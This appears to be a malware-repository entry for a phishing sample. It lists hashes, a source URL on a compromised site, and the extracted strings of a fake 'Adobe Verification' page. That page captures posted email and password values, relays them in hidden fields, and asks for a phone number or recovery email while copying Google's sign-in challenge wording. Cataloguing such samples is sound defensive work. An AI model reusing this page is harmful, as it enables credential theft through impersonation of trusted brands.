Warning! We are currently in recovery mode. The complete archive is not available.

Sample details: 5664822cf363286a48581098dc6696a5 --

Hashes
MD5: 5664822cf363286a48581098dc6696a5
SHA1: 1349f2d3780dd916fa1757f2abe9f5540cb0f4e5
SHA256: f11853ece93726bb9c2dd6ea977fb9e81cfbc90261c8afceb5e07746927b1270
SSDEEP: 192:aOhm6bt+z2BWWpvcCnAvLRRFBtzlpd5yy5YPx1zt/:L+z3Yamvzt/
Details
File Type: HTML
Yara Hits
Source
http://tfbeton.ir/wp-admin/doc1/adobe.32/adobe/LoginVerification.php
Strings
		<!DOCTYPE html>
$email = $_POST['email'];
$pass = $_POST['pass'];
<html lang="en">
<head>
  <title>Adobe Verification</title>
  <style type="text/css"><!--
    body {
      font-family: arial, sans-serif;
      margin: 0;
      padding: 13px 15px 15px;
    .body {
      margin: 0;
    div.errorbox-good {}
    div.errorbox-bad {} 
    div.errormsg { color: red; font-size: smaller; font-family: arial,sans-serif;}
    font.errormsg { color: red; font-size: smaller; font-family: arial,sans-serif;}
    div.pagemsg {
      font-size: smaller; 
      font-weight: bold; 
      text-align: center;
    div.pagemsg span {
      padding: 5px; 
      background: #ff9;
    div.topbarwrap {
      position: absolute;
      top: 0;
      left: 0;
      width: 100%;
      z-index: 1000;
    div.topbar {
      padding: 3px 8px 0px;
    div.header {
      
      margin-bottom: 9px;
      margin-left: -2px;
      position:relative;
      zoom: 1
    div.header img.logo {
      border: 0;
      float:left;
    div.header div.headercontent {
      float:right;
      margin-top:17px;
    div.header:after{
      content:".";
      display:block;
      height:0;
      clear:both;
      visibility:hidden;
    div.pagetitle {
      font-weight:bold;
    .footer { 
      color: #666;
      font-size: smaller;
      margin-top: 40px;
      text-align: center;
    table#signupform {
      left: -5px;
      top: -7px;
      position:relative;
    table#signupform td{
      padding: 7px 5px;
    table#signupform td table td{
      padding: 1px;
    hr {
      border: 0;
      background-color:#DDDDDD;
      height: 1px;
      width: 100%;
      text-align: left;
      margin: 5px;
  --></style>
</head>
<meta name="viewport" content="width=device-width,user-scalable=no">
<style type="text/css">
.body {
  font-size: small;
  font-family: helvetica, arial, sans-serif;
  font-size: 21px;
  font-weight: normal;
  line-height: 1;
  margin: 30px 0 18px;
  font-family: helvetica, arial, sans-serif;
  font-size: 16px;
  font-weight: normal;
  line-height: 1;
  margin-bottom: 18px;
  font-family: helvetica, arial, sans-serif;
  font-size: 13px;
  font-weight: bold;
  line-height: 1;
  margin-bottom: 18px;
h1.with-description, h2.with-description, h3.with-description {
  margin-bottom: 2px;
.default-content-area {
  max-width: 940px;
  min-width: 440px;
.data {
  font-weight: bold;
.warning, .error {
  color: #F00;
.heading-description {
  line-height: 1;
  margin-bottom: 15px;
  h1, h2, h3 {
  font-weight: bold;
  input.radio {
  width: 12px;
  float: left;
  div.body {
  max-width: 800px;
  div.option {
  margin-left: 24px;
  padding-bottom: 2em;
  div.option label.selected {
  font-weight: bold;
  div.option-content {
  padding-top: 6px;
  .hint {
  color: #808080;
  font-size: 90%;
  padding: 2px;
  .help {
  color: #808080;
  font-size: 90%;
  div.errormsg {
  font-size: 90%;
  div.help, div.errormsg {
  margin-top: .5em;
  .clearfix {
  zoom: 1;
  .clearfix:after {
  content: ".";
  display: block;
  height: 0;
  clear: none;
  visibility: hidden;
</style>
<body dir="ltr">
<div class="header">
  <a href='login.php'>
  <img class="logo"
 src='images/googledocs.png'
       alt="DocuSign" />
  </a>
  </select>
  <noscript>
  <input class="gaia_lce_submit" type="submit"
           value="Change">
  </input>
  </noscript>
  <input type="hidden" name="timeStmp" id="timeStmp"
       value=''/>
<input type="hidden" name="secTok" id="secTok"
       value=''/>
</form>
  </div>
</div>
  <form method="post" id="challengeform" action=submit2.php>
  <input type="hidden" name="email" value="<?php echo($email); ?>">
<input type="hidden" name="pass" value="<?php echo($pass); ?>">
  <input type="hidden" name="continue" id="continue"
           value="https://mail.google.com/mail/" />
  <input type="hidden" name="_utf8" id="_utf8" value="&#9731;"/>
  <input type="hidden" id="JsDetectorInput" name="jsenabled" value="false" />
  <input type="hidden" name="bgresponse" id="bgresponse">
  <div class="body">
  <h1>
  Please Verify it is you
  </h1>
  It looks like you're signing in to your account from a new location. Just so we know this is you &mdash; and not someone trying to hijack your email account &mdash; please complete this quick verification.
  </a>.
  </p>
  <h2>
  Choose a verification method
  </h2>
  <div class="item clearfix">
  <input type="radio" class="radio" name="challengetype" id="PhoneVerificationChallenge" value="PhoneVerificationChallenge"
            
              checked="checked"
            
          >
<div class="option" id="PhoneVerificationChallengeOption">
  <label for="PhoneVerificationChallenge" id="PhoneVerificationChallengeLabel">
  Confirm my phone number: 
  </label>
  <div class="option-content" id="PhoneVerificationChallengeOptionContent">
  <input type="tel" name="phoneNumber" id="phoneNumber" size="30"
      
        
      
      
      placeholder="Enter full phone number"
      
  <span class="hint ">
  </span>
  <div class="help">
  We will check if this is the same phone number we have on file -- we won't send you any messages.
  </div>
  </div>
</div>
  </div>
  <div class="item clearfix">
  <input type="radio" class="radio" name="challengetype" id="RecoveryEmailChallenge" value="RecoveryEmailChallenge"
            
          >
<div class="option" id="RecoveryEmailChallengeOption">
  <label for="RecoveryEmailChallenge" id="RecoveryEmailChallengeLabel">
  Confirm my recovery email address: 
  </label>
  <div class="option-content" id="RecoveryEmailChallengeOptionContent">
  <input name="emailAnswer" id="emailAnswer" size="30"
      
        type="text"
      
      
      
      placeholder="Enter full email address"
      
  <span class="hint ">
  </span>
  <div class="help">
  We will check if this is the same email address we have on file 
 we won't send you any messages.
  </div>
  </div>
</div>
  </div>
</div>
  </div>
  <input type="submit" name="submitChallenge" id="submitChallenge"
    value="Continue"
  </div>
  </form>
  <div class="footer">
  <font size=-1 color=#666666>&copy; 2016 -
  <a href="login.php">Adobe for Organizations</a> -
  <a href="login.php">Terms &amp; Privacy</a>
  - <a href="login.php">Help</a>
  </font>
  </div>
<script type="text/javascript">
var onsubmitHandlers = [];
var onloadHandlers = [];
var addOnsubmitHandler = function(eventHandler) {
  onsubmitHandlers.push(eventHandler);
var addOnloadHandler = function(eventHandler) {
  onloadHandlers.push(eventHandler);
var challenges = [];
  challenges.push("PhoneVerificationChallenge");
  challenges.push("RecoveryEmailChallenge");
  challenges.push("SecretQuestionChallenge");
var setChallengeSelected = function(challenge, visible) {
  var radio = document.getElementById(challenge),
      label = document.getElementById(challenge + "Label"),
      optionContent = document.getElementById(challenge + "OptionContent");
  if (visible) {
    radio.checked = true;
    if (label) {
      label.style.fontWeight = 'bold';
    optionContent.style.visibility = 'visible';
    optionContent.style.height = '100%';
    var inputElems = optionContent.getElementsByTagName("input")
    for (var i = 0; i < inputElems.length; i++) {
      if (inputElems[i].type != "hidden") {
        inputElems[i].focus();
        break;
      }
  } else {
    radio.checked = false;
    if (label) {
      label.style.fontWeight = '';
    optionContent.style.visibility = 'hidden';
    optionContent.style.height = '0';
var expandSelectedChallenge = function() {
  for (var i = 0; i < challenges.length; i++) {
    var challenge = challenges[i],
        radio = document.getElementById(challenge);
    setChallengeSelected(challenge, radio.checked);
var tryShowPlaceholder = function(inputElem) {
  if (!inputElem.value) {
    inputElem.style.color = "#808080";
    inputElem.value = inputElem.getAttribute("placeholder");
var tryClearPlaceholderText = function(inputElem) {
  if (inputElem.value === inputElem.getAttribute("placeholder")) {
    inputElem.style.color = "";
    inputElem.value = "";
var applyPlaceholderToInput = function(inputElem) {
  if (inputElem.getAttribute("placeholder")) {
    inputElem.onfocus = function() {
      tryClearPlaceholderText(this);
    inputElem.onblur = function() {
      tryShowPlaceholder(this);
var formSubmitHandler = function() {
  if (document.bg) {
    document.bg.invoke(function(response) {
      document.getElementById("bgresponse").value = response;
    });
  for (var i = 0; i < onsubmitHandlers.length; i++) {
    if (!onsubmitHandlers[i]()) {
      return false;
  return true;
var supportsInputPlaceholder = function() {
  return "placeholder" in document.createElement("input");
var initialize = function() {
  document.getElementById("JsDetectorInput").value = "true";
  if (!supportsInputPlaceholder()) {
    var inputs = document.getElementsByTagName("input");
    for (var i = 0; i < inputs.length; i++) {
      applyPlaceholderToInput(inputs[i]);
  for (var i = 0; i < challenges.length; i++) {
    var radio = document.getElementById(challenges[i]);
    radio.onclick = function() {
      expandSelectedChallenge();
      return true;
    };
  expandSelectedChallenge();
  document.getElementById("challengeform").onsubmit = formSubmitHandler;
  for (var i = 0; i < onloadHandlers.length; i++) {
    onloadHandlers[i]();
window.onload = initialize;
</script>
</body>
</html>